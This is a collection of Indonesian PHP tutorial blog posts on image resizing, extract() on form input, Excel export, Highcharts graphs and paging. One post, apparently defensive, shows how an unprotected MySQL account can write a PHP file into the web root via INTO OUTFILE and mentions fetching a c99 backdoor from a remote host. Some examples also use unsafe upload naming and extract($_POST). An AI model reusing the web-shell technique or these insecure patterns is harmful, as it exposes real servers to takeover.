[Tips] Cara Merezise Gambar dengan SimpleImage PHP Script

PHP adalah sebuah bahasa pemrograman web sisi server. Sebagai bahasa pemrograman sisi server, maka PHP juga memiliki kemampuan melakukan olah data baik berupa data text dan data gambar. Kemampuan ini terutama digunakan ketika PHP mengerjakan Gallery gambar, atau sebuah profil produk dimana harus tersedia gambar berbagai ukuran Pixel dan Byte nya. Sebagai contoh kasus adalah sebuah toko online, memiliki kebutuhan sisi admin dimana operator harus mampu melakukan upload gambar dengan ukuran berapapun, selanjutnya akan diatur oleh PHP dengan dipecah menjadi beberapa. Antara lain adalah menjadi gambar thumbnail, gambar medium dan gambar besar. Bayangkan saja jika halaman depan sebuah profil produk menampilkan banyak gambar dan gambar tersebut masih berukuran besar 800kb – 1mb, tentu akan memakan waktu dan juga quota bandwidth bagi client.

SimpleImage ini bisa disalin di http://www.white-hat-web-design.co.uk/blog/resizing-images-with-php/ dan silakan dijadikan sebuah file dengan nama SimpleImage.php. Namun menurut saya, ada beberapa revisi dari script tersebut. Yaitu pada bagian yang melibatkan $this->getheight(), diubah menjadi $this->getHeight(). Sehingga script SimpleImage ini menjadi seperti ini


image_type = $image_info[2];
      if( $this->image_type == IMAGETYPE_JPEG ) {
 
         $this->image = imagecreatefromjpeg($filename);
      } elseif( $this->image_type == IMAGETYPE_GIF ) {
 
         $this->image = imagecreatefromgif($filename);
      } elseif( $this->image_type == IMAGETYPE_PNG ) {
 
         $this->image = imagecreatefrompng($filename);
      }
   }
   function save($filename, $image_type=IMAGETYPE_JPEG, $compression=75, $permissions=null) {
 
      if( $image_type == IMAGETYPE_JPEG ) {
         imagejpeg($this->image,$filename,$compression);
      } elseif( $image_type == IMAGETYPE_GIF ) {
 
         imagegif($this->image,$filename);
      } elseif( $image_type == IMAGETYPE_PNG ) {
 
         imagepng($this->image,$filename);
      }
      if( $permissions != null) {
 
         chmod($filename,$permissions);
      }
   }
   function output($image_type=IMAGETYPE_JPEG) {
 
      if( $image_type == IMAGETYPE_JPEG ) {
         imagejpeg($this->image);
      } elseif( $image_type == IMAGETYPE_GIF ) {
 
         imagegif($this->image);
      } elseif( $image_type == IMAGETYPE_PNG ) {
 
         imagepng($this->image);
      }
   }
   function getWidth() {
 
      return imagesx($this->image);
   }
   function getHeight() {
 
      return imagesy($this->image);
   }
   function resizeToHeight($height) {
 
      $ratio = $height / $this->getHeight();
      $width = $this->getWidth() * $ratio;
      $this->resize($width,$height);
   }
 
   function resizeToWidth($width) {
      $ratio = $width / $this->getWidth();
      $height = $this->getHeight() * $ratio;
      $this->resize($width,$height);
   }
 
   function scale($scale) {
      $width = $this->getWidth() * $scale/100;
      $height = $this->getHeight() * $scale/100;
      $this->resize($width,$height);
   }
 
   function resize($width,$height) {
      $new_image = imagecreatetruecolor($width, $height);
      imagecopyresampled($new_image, $this->image, 0, 0, 0, 0, $width, $height, $this->getWidth(), $this->getHeight());
      $this->image = $new_image;
   }      
 
}
?>

CARA MENGGUNAKAN.
Cara menggunakan script ini sangat mudah. Yaitu:

  1. Melakukan include SimpleImage.php
  2. Membuka sebuah object dari Class SimpleImage
  3. Meload gambar
  4. Mengolah gambar
  5. Menyimpan gambar dengan format baru

CONTOH: Misalkan kita akan membuat sebuah form upload gambar, dimana ketika diupload, maka gambar di server akan muncul dengan format ukuran 400×400 dan juga thumbnail 120×120. Dengan demikian script menjadi seperti demikian :


include "includes/SimpleImage.php";


if( isset( $_POST['upload'] ) ){
$file = $_FILES['upfile']['tmp_name'];

$image = new SimpleImage();

$image->load($file);

$image->resize(400,400);

$image->save("../images/product/".$_FILES['upfile']['name']);

$image->resize(120,120);

$image->save("../images/product/thumb/".$_FILES['upfile']['name']);		
}
?>


Gambar

PENJELASAN:
Ketika script dipanggil request, maka jika tidak terset input type upload alias karena belum ada POST, maka hanya akan ditampilkan form biasa. Selanjutnya jika telah diisi, dan diPOST, maka script akan terpanggil dengan kondisi terset POST. Selanjutnya akan di-include SimpleImage, menentukan variable file yang diupload, diload, diolah resize, dan disimpan pada tempat yang telah ditentukan pada save.

Berikut beberapa operasional yang disediakan oleh SimpleImage ini:

  1. Load
  2. Save
  3. Output
  4. GetWidth dan GetHeight
  5. Resize to Height dan resize to width
  6. Scale
  7. Resize

Dengan SimpleImage, selamat mencoba proses upload gambar dan melakukan operasional standard SimpleImage. Semoga bermanfaat. 🙂

[Contoh] Cara Cepat Mengubah Parameter method GET POST menjadi variable

Dalam pemrograman web, method GET POST tidak dapat dilepaskan dari proses pemrograman itu sendiri. Di samping itu ada juga pengambilan parameter $_SERVER[], $_SESSION, $_REQUEST, dan lain sebagainya. Biasanya kita akan mengubah isi parameter GET POST ini akan seperti contoh berikut

 


$satu = $_POST['satu'];
$dua  = $_POST['dua'];
$tiga = $_POST['tiga'];
$empat= $_POST['empat'];

Atau dalam bentuk GET misal terdapat URL seperti demikian :

http://namaserver.tld/req.php?nama=bimosaurus&kota=wonosobo&status=menikah&jumlahanak=1&hobi=blogging

Maka kita akan melakukan inisiasi variabel menjadi

$nama = $_GET['nama'];
$kota = $_GET['kota'];
$status = $_GET['status'];
$jumlahanak = $_GET['jumlahanak'];
$hobi = $_GET['hobi'];

Atau GET dan POST tersebut dapat juga diganti dengan $_REQUEST. $_REQUEST dapat memetakan secara cerdas. Namun perlu diingat adalah aspek keamanan. Misalnya hindari juga penggunaan REQUEST untuk Login HTTP yang diproses menggunakan POST. Karena bisa jadi orang akan mengacak dengan menggunakan method GET yang jelas lebih cepat prosesnya.

Inisiasi Variabel melalui GET dan POST seperti itu dapat dengan mudah kita lakukan. Namun bayangkan jika dalam sebuah form pendataan korban bencana alam, atau pendataan kesehatan dimana satu form dapat lebih dari 50 isian, tentu akan beresiko salah. Cara paling mudah melakukannya adalah dengan perintah fungsi php extract();

extract() adalah mengurai Array menjadi variabel sesuai dengan nama parameternya. Pada dasarnya $_SESSION, $_SERVER, $_POST, $_GET, $_REQUEST, adalah array, maka dapat diextract dengan mudah. Ingin membuktikan? Salah satu pembuatan array adalah dengan menggunakan $variabel[], memberikan tanda kurung siku di belakang variabel array. Cobalah dalam halaman anda tampilkan array yang ada dengan


print_r($_POST);
print_r($_GET);
//..dst

Misal : kita memiliki parameter POST

nama -> $_POST[‘nama’]
alamat -> $_POST[‘alamat’]
telepon -> $_POST[‘telepon’]

Maka, tinggal extract


extract( $_POST );

echo $nama;
echo "
"; echo $alamat; echo "
"; echo $telepon; echo "
";

Maka nama parameter POST seluruhnya akan berubah menjadi nama variabel sesuai dengan nama parameternya. Syarat penggunaannya adalah : pastikan dalam halaman itu tidak ada variabel yang sama. Selamat mencoba, semoga sukses dan bermanfaat

[Contoh] Cara Mengexport Data SQL ke File Excel 2007 ( xlsx ) dari MySQL dengan PHP

Berdasarkan komentar saudara Dahlan di https://blogit.bimosaurus.com/2012/04/09/contoh-3-membuat-laporan-export-data-dari-mysql-ke-excel-terencoding-dengan-php-no-pear, maka saya coba paparkan tentang melakukan export konversi data dari SQL ke Excel 2007 dengan menggunakan PHP. Sehingga data yang berasal dari SQL dapat di download ke dalam bentuk Excel 2007

STRUKTUR XLSX / Excel 2007

Jika kita periksa sebuah file excel 2007 adalah sebuah file berformat kompresi zip. Jika anda rename, mengganti extensi file xlsx dengan zip, dan anda extract ke suatu tempat, maka file tersebut akan berisi beberapa direktori dan file berformat xml. Ya, Microsoft Office 2007 memang merancang format Office menjadi format yang mudah dikembangkan terutama untuk mendukung DotNet dan networking.

Lantas, apakah kita akan gunakan koding PHP bertele-tele untuk membuat aplikasi untuk memodifikasi XML tersebut? Untuk hal itu, kita tidak perlu koding sendiri, hanya perlu belajar dan menggunakan sebuah fungsi dari http://www.phpexcel.net/ atau http://phpexcel.codeplex.com/. Silakan download paket aplikasi fungsi PHP-Excel tersebut, dan extract dalam direktori DocumentRoot yang anda gunakan. Kira-kira struktur data akan berformat seperti demikian :

1.7.6/changelog.txt

1.7.6/Classes/

1.7.6/Documentation/

1.7.6/install.txt

1.7.6/license.txt

1.7.6/Tests/

Kita hanya membutuhkan sesuatu di dalam directori Classes. Untuk kasus yang saya pakai, saya melakukan pengkopian direktori Classes ke aplikasi web yang saya butuhkan menjadi

{direktori_aplikasi}libs/phpexcel/

 

BAGAIMANA MENGEKSPOR DATA KE DALAM XLSX?

Berikut satu script aplikasi PHP untuk melakukan Export ke dalam XLSX

 


getProperties()->setCreator("Bimosaurus");
$excel->getProperties()->setLastModifiedBy("Bimosaurus");
$excel->getProperties()->setTitle("Coba");
$excel->removeSheetByIndex(0);


$sheet = $excel->createSheet();
$sheet->setTitle('sheet_1');
 $sheet->setCellValue("A1", "Kolom Satu");
 $sheet->setCellValue("B1", "Kolom Dua");
 $sheet->setCellValue("C1", "Kolom Tiga");
 $sheet->setCellValue("D1", "Kolom Empat");
 $sheet->setCellValue("E1", "Kolom Lima");
 $sheet->setCellValue("F1", "Kolom Enam");

 $sheet->setCellValue("A2", "Isi Satu");
 $sheet->setCellValue("B2", "Isi Dua");  
 $sheet->setCellValue("C2", "Isi Tiga");
 $sheet->setCellValue("D2", "Isi Empat"); 
 $sheet->setCellValue("E2", "Isi Lima"); 
 $sheet->setCellValue("F2", "Isi Enam");
 
 $writer = new PHPExcel_Writer_Excel2007($excel);
 $writer->save("excel.xlsx");
 
 
?>
Your File in : Here

Cobalah anda lakukan dalam percobaan anda. Nah, sekarang bagaimana apabila kita akan melakukan pengambilan data dari MySQL Server dengan PHP dan direstore ke dalam XLSX?

Berikut satu contoh programnya di bawah ini. Saya masih menggunakan table lama saya yaitu tabel pegawai dari database kepegawaian.

nip nama honor status_ambil
10001 Susanto Rp. 1000000 Belum
10002 Susanti Rp. 1000000 Sudah
10003 Marwoto Rp. 2000000 Sudah
10004 Gunadi Rp. 1500000 Belum
10005 Nur Eko Rp. 1000000 Belum

getProperties()->setCreator("Bimosaurus");
$excel->getProperties()->setLastModifiedBy("Bimosaurus");
$excel->getProperties()->setTitle("Data Pegawai PT Anu");
$excel->removeSheetByIndex(0);


$sheet = $excel->createSheet();
$sheet->setTitle('sheet_1');
 $sheet->setCellValue("A1", "NIP");
 $sheet->setCellValue("B1", "Nama");
 $sheet->setCellValue("C1", "Honor");
 $sheet->setCellValue("D1", "Status Ambil");


$sql = "SELECT * FROM `pegawai`";
$q = mysql_query( $sql );
$i = 2; //Dimulai dengan baris ke dua, baris pertama digunakan oleh titel kolom
while( $r = mysql_fetch_array( $q ) ){
   $sheet->setCellValue( "A" . $i, $r['nip'] );
   $sheet->setCellValue( "B" . $i, $r['nama'] );
   $sheet->setCellValue( "C" . $i, $r['honor'] );
   $sheet->setCellValue( "D" . $i, $r['status_ambil'] );
   $i++;
}


 $writer = new PHPExcel_Writer_Excel2007($excel);
 $writer->save("$datetime.xlsx");
 
 
?>
Your File in : Here

Nah bandingkan juga penulisan format export ke kolom excel, dengan artikel lalu https://blogit.bimosaurus.com/2012/04/09/contoh-3-membuat-laporan-export-data-dari-mysql-ke-excel-terencoding-dengan-php-no-pear. Pastikan juga bahwa direktori tujuan Export file tersebut, writeable untuk Webserver anda.

Selamat mencoba, silakan melakukan respon jika perlu direspon. Saya siapkan juga satu artikel untuk pembacaan file excel 2007 untuk diupload ke dalam webserver dan akan terkonversi menjadi SQL database. Segera.

[Contoh] Cara Membuat Grafik Multi Line / Banyak Garis dengan PHP, MySQL, dan JQuery HighChart

Berikut dalam posting ini akan dipaparkan contoh pembuatan grafik Multiline dengan Highchart. Saya juga menyiapkan dua artikel untuk keperluan Grafik dengan JQPLot dan JPGraph untuk kasus yang sama. Dalam contoh ini digunakan contoh dengan dua tabel, dimana satu tabel adalah tabel negara, dan tabel lainnya adalah tabel angka_kelahiran. Kira-kira SQL nya adalah seperti berikut:

Tabel negara

CREATE TABLE `negara` (
  `id` int(23) NOT NULL AUTO_INCREMENT,
  `negara` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;

/*Data for the table `negara` */

insert  into `negara`(`id`,`negara`) values (1,'Indonesia'),(2,'Singapura'),(3,'Malaysia'),(4,'Jepang');

 

Tabel angka_kelahiran

CREATE TABLE `angka_kelahiran` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `negaraId` int(3) DEFAULT NULL,
  `bulan` varchar(10) DEFAULT NULL,
  `kelahiran` int(23) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=49 DEFAULT CHARSET=latin1;

/*Data for the table `angka_kelahiran` */

insert  into `angka_kelahiran`(`id`,`negaraId`,`bulan`,`kelahiran`) values (1,1,'Jan',100),(2,1,'Feb',120),(3,1,'Mar',130),(4,1,'Apr',110),(5,1,'Mei',90),(6,1,'Jun',100),(7,1,'Jul',95),(8,1,'Agt',115),(9,1,'Sep',98),(10,1,'Okt',120),(11,1,'Nov',110),(12,1,'Des',151),(13,2,'Jan',110),(14,2,'Feb',100),(15,2,'Mar',111),(16,2,'Apr',80),(17,2,'Mei',90),(18,2,'Jun',87),(19,2,'Jul',89),(20,2,'Agt',87),(21,2,'Sep',77),(22,2,'Okt',78),(23,2,'Nov',89),(24,2,'Des',90),(25,3,'Jan',67),(26,3,'Feb',65),(27,3,'Mar',68),(28,3,'Apr',98),(29,3,'Mei',76),(30,3,'Jun',89),(31,3,'Jul',66),(32,3,'Agt',54),(33,3,'Sep',43),(34,3,'Okt',78),(35,3,'Nov',98),(36,3,'Des',123),(37,4,'Jan',65),(38,4,'Feb',65),(39,4,'Mar',65),(40,4,'Apr',65),(41,4,'Mei',65),(42,4,'Jun',69),(43,4,'Jul',98),(44,4,'Agt',90),(45,4,'Sep',87),(46,4,'Okt',77),(47,4,'Nov',89),(48,4,'Des',100);

Kemudian secara visual, tabelnya adalah seperti ini :

Tabel Negara:

id negara
1 Indonesia
2 Singapura
3 Malaysia
4 Jepang

Tabel Angka Kelahiran (sebagian)

id negaraId bulan kelahiran
1 1 Jan 100
2 1 Feb 120
3 1 Mar 130
4 1 Apr 110

 

Jika server yang anda gunakan terhubung dengan koneksi internet, saya sarankan untuk mengambil include script jquery dan highcart secara online saja, hal ini akan menghemat space disk anda, terutama jika anda menggunakan hosting. Disamping itu akan lebih menghemat bandwidth quota. Namun jika server web yang anda offline, maka asumsi saya adalah menggunakan hardisk, sehingga tidak begitu memberatkan space dan quota, maka gunakan saja file jquery secara offline.

Untuk server online, maka gunakan script ini pada include script anda:


.
.
.


 

 

Untuk server offline, maka gunakan ini, atau sesuaikan dengan lokasi yang anda gunakan


.
.
.


 

Untuk kasus pembuatan grafik angka kelahiran, saya melakukan query untuk mendapatkan array kota terlebih dahulu. Script lengkap pembuatan grafiknya adalah sebagai berikut:





	
		
		Angka Kelahiran Tiap Negara

		
		
	

	



Nah kira-kira hasil dari perbuatan script anda adalah seperti berikut :

Nah, selamat mencoba, semoga berguna, dan sampaikan terimakasih pada developer Highcart yang telah membuat tools yang mempermudah bagi para developer ini. 🙂

Anda perlu bantuan membuat tabel, dapat berkonsultasi dengan team kami secara gratis. Selama dapat dibantu diselesaikan, akan dibantu..

[Hacking] Database kosong tak Berpassword, berbahayakah?

Saya mendapatkan pertanyaan demikian : “Bung, apakah jika saya menginstall xampp windows dan ada satu database kosong yang tidak digunakan yang usernya tidak saya beri password, apakah berbahaya? Saya ingin memberi password, namun karena sekedar testing, ngapain diberi password.Setelah pagi, saya lihat kok ada file aneh bahasanya kayak bahasa bahasa hacker gitu, apakah mungkin dari database kosong itu?

 

BEBERAPA PENJELASAN.

Dalam artikel lalu https://blogit.bimosaurus.com/2012/04/23/operasional-file-melalui-perintah-sql-sql-command-for-file-operation, telah ditunjukkan bagaimana sebuah perintah SQL dapat melakukan pembuatan file, begitu juga pembacaan file yang dimasukkan ke dalam database.

PhpMyAdmin adalah hanya salah satu tools pengolahan database berbasis web dalam MySQL Server. PhpMyAdmin adalah salah satu tools yang selalu ada dalam paket XAMPP. Untuk Windows, PhpMyAdmin ini akan mengikuti konfigurasi default, yaitu tanpa password untuk user root. Sementara user root adalah user dengan hak tertinggi pada pengolahan database MySQL.Khusus untuk root MySQL, root ini memiliki kemampuan mengolah database yang bernama database mysql yang mengatur segala struktur database dan konfigurasi database. Namun memang pengaturan database mysql ini, hanya bisa dilakukan oleh root dari localhost. Namun dengan adanya PhpMyAdmin, maka syarat ini menjadi hilang, karena administrator data/pengakses akan dapat melakukan pengaturan dari sisi web, sedangkan web/php akan melakukan olah data dari localhost. Untuk kemudahan itu, maka sebanding dengan resiko yang ada. Yaitu resiko keamanan.

Apakah jika database kosong dengan user bebas dan tanpa password bebas juga akan dapat berpotensi tidak aman? Jawabnya adalah : YA.

Berikut adalah contoh operasional database yang biasa dilakukan para hacker. Andaikan saya memiliki sebuah database kosong dengan nama : database_kosong, dan dapat diakses oleh user : bebas, tanpa password. Perhatikan langkah-langkah yang ada, dan cobalah anda konversikan penerapannya di PhpMyAdmin anda.

 

 


mysql> use kosong;
Database changed
mysql> show tables;
Empty set (0.00 sec)

mysql> CREATE TABLE `kosong` (`Id` int(23) NOT NULL AUTO_INCREMENT,`Content` text,PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=26 DEFAULT CHARSET=latin1;
Query OK, 0 rows affected (0.02 sec)

mysql> show tables;
+------------------+
| Tables_in_kosong |
+------------------+
| kosong           | 
+------------------+
1 row in set (0.01 sec)

mysql> select * from kosong;
Empty set (0.00 sec)

mysql> insert into `kosong` (`Content`) values ('');
Query OK, 1 row affected (0.00 sec)

mysql> select `Content` from `kosong` where Id='1' into outfile 'C:/xampp/htdocs/phpinfo2.php';

Bukalah browser anda dan ketikkan http://localhost/phpinfo2.php. Apa yang terjadi? Selanjutnya, bayangkanlah jika saya memiliki script PHP semacam ini:




Apa yang terjadi jika script semacam ini dimasukkan dalam field Content dan dieksekusi dengan “INTO OUTFILE” sebagai file dan suatu ketika dibuka oleh orang lain dengan : http://namaserver/url.php?url=http://alamatbackdoor/c99.txt?

Atau bisa juga justru script upload html yang dibuat seperti ini :



Dan si hacker melakukan upload backdoor, rootkit, atau script semacam c99.php, r57.php, DxShell? Terutama untuk Windows, default settingnya sangat rawan karena masih mengijinkan mysql untuk menuliskan dalam suatu direktori tanpa filter.

[Contoh] Super Simple Paging Halaman PHP MySQL

Berdasarkan sebuah request/permintaan melalui surel, seorang rekan saya menanyakan : dapatkah Paging/penomoran halaman dipermudah , dipersingkat, tanpa ribet koding namun juga tidak ribet memenuhi halaman jika halaman hingga ribuan. Sebenarnya paging/ pemberian nomor halaman pada PHP tergantung pada kebutuhan. Biasanya sesuatu yang lengkap akan membutuhkan penanganan yang lengkap juga. Begitu juga dengan paging. Namun kadang dengan analisa yang tepat, bisa juga didapatkan sesuatu yang simple dan enak, dan dapat memenuhi banyak kebutuhan. Berikut disini saya paparkan hasil analisa paging simple penomoran halaman sederhana namun cukup powerfull.

 
Paging ini dimulai dari penentuan jumlah item tiap halaman yang akan ditampilkan. Selanjutnya dilakukan penangkapan parameter page dari method GET. Dalam contoh, item per halaman ditampilkan 10.

$item_per_page = 10;
$page =  isset($_GET['page']) ? $_GET['page'] : 1 ;

Notasi tersebut berarti $page adalah didapat dari jika $_GET[‘page’] ter-set. Namun jika tidak akan berisi value 1. Untuk menghindari penomoran melewati batas, seperti kurang dari satu atau berisi value kosong, maka hadang / filter dulu dengan

if( ( $page < 1) && (empty( $page ) ) ){
      $page=1; 
   }

Untuk mendapatkan jumlah halaman berarti harus didapatkan lebih dulu jumlah item yang ada. Jumlah item yang ada didapat dari query SQL.

   $sql           = "select * from `table`";
   $query         = mysql_query( $sql );
   $jumlah_data   = mysql_num_rows($query);
   $jumlah_hal    = ceil( $jumlah_data/$item_per_page );

Selanjutnya filter juga agar page yang terdapat di method GET tidak lebih dari jumlah halaman.

   if( $page>$jumlah_hal ){
      $page=$jumlah_hal;
   }

Kemudian kita dapat membuat sebuah variable $lanjut dan $sebelum dengan penentuan seperti ini:

   $lanjut  = $page + 1;
   $sebelum = $page - 1;

Barulah kita membuat kata-kata seperti berikut dilengkapi dengan navigasi Paging:

   Anda ada di halaman  dari 
<<   < sebelumnya    ||    selanjutnya >   >> Ke Halaman:

Tampilan sangat sederhana seperti berikut :

Anda ada di halaman 3 dari 3
<< < sebelumnya || sesudahnya > >>
Ke Halaman

Sederhana bukan?

Secara lengkap Code akan dipaparkan dalam bentuk fungsi, sehingga untuk penomoran halaman tinggal memanggil melalui fungsi seperti demikian

$sql = "select * from table";
$item_per_page =10;
paging($sql, $item_per_page);

FUNGSI UTAMA PAGING SIMPLE

Fungsinya adalah sebagai berikut di bawah (saya beri nama dengan paging.php). Anda dapat kopikan fungsi ini ke dalam kode anda, dan anda panggil ketika anda akan memberikan penomoran halaman. Anda juga dapat melakukan modifikasi sendiri sesuka hati:

$jumlah_hal ){
      $page=$jumlah_hal;
   }
   $lanjut  = $page + 1;
   $sebelum = $page - 1;
   ?>
   Anda ada di halaman  dari 
<<   < sebelumnya    ||    selanjutnya >   >> Ke Halaman:

Selanjutnya contoh perhalamannya akan seperti berikut:

Mudah bukan? Semoga bermanfaat

[Contoh] Cara Membuat Grafik Dasar Web Dengan JQuery HighChart

Jika posting lalu telah dikenalkan dasar pembuatan Grafik dengan menggunakan JQuery JQPlot, maka sekarang dikenalkan dengan competitor JQuery Graphing Web juga. Tools berbasis JQuery itu adalah : HighChart. HighChart ini sama saja sebenarnya dengan JQPlot. Hanya saja menurut saya, HighChart ini lebih enak dalam dasar penulisan notasi data yang perlu dituliskan. JQPlot memiliki notasi penulisan data seri yang akan berpotensi lebih bertele (ribet) daripada HighChart.

Contoh adalah jika kita tuliskan pada JQPlot seperti demikian:

$.jqplot('spacegrafik',  [[[1, 1],[3,2],[5,1],[7,2],[9,1],[11,2]]]);

dan pada HighChart adalah:


xAxis: {
                categories: [1,3,5,7,9,11]
},


.
.
.
.

series: [{
                name: 'Nama Data',
                data: [1,2,1,2,1,2]
            },

Sedangkan biasanya data dari PHP akan berupa array dari data sejenis. Contoh adalah :


$datax = mysql_fetch_array( $query_x ); //berupa array data sejenis

$datay = mysql_fetch_array( $query_y ); //berupa array data sejenis

Namun tidak menutup kemungkinan bahwa data yang tersedia akan lebih nyaman menggunakan JQPlot. Pemilihan Tools akhirnya tergantung pada selera dan kebutuhan. Pembuatan grafik JPGraph pun akan memiliki kelebihan sendiri. Antara lain jika penggunaan grafik sekaligus akan dibentuk Gambar JPEG/PNG. Meskipun Highchart juga dapat membentuk JPG, namun terdapat satu keunggulan JPGraph dalam masalah pembuatan image.

Penggunaan Highchart

Source HighChart dapat diambil di http://www.highcharts.com/ demo dan contoh serta docs terletak lengkap disana. Extract Highchart tersebut dalam satu folder tertentu. Dalam contoh di sini digunakan Highchart pada https://blogit.bimosaurus.com/demo/highchart/

Selanjutnya untuk dasar penggunaan Grafik Line, akan digunakan seperti berikut langkahnya

  • Include script JQuery
  • Membuat script dengan diarahkannya grafik pada elemen yang dikehendaki
  • Melakukan penyisipan script Highchart
  • Menentukan letak elemen tujuan

Kira-kira akan seperti berikut ini script untuk membuat baris:







Kira-kira grafik yang akan dibentuk adalah seperti demikian.

Nah, selamat mencoba babak pertama JQPlot VS HighChart ini.. Selanjutnya akan kita buat sebuah contoh pembuatan grafik dengan JQPlot dan Highchart yang datanya diambil dari dalam database

Selamat Mencoba..

NIPNamaHONORStatus Ambil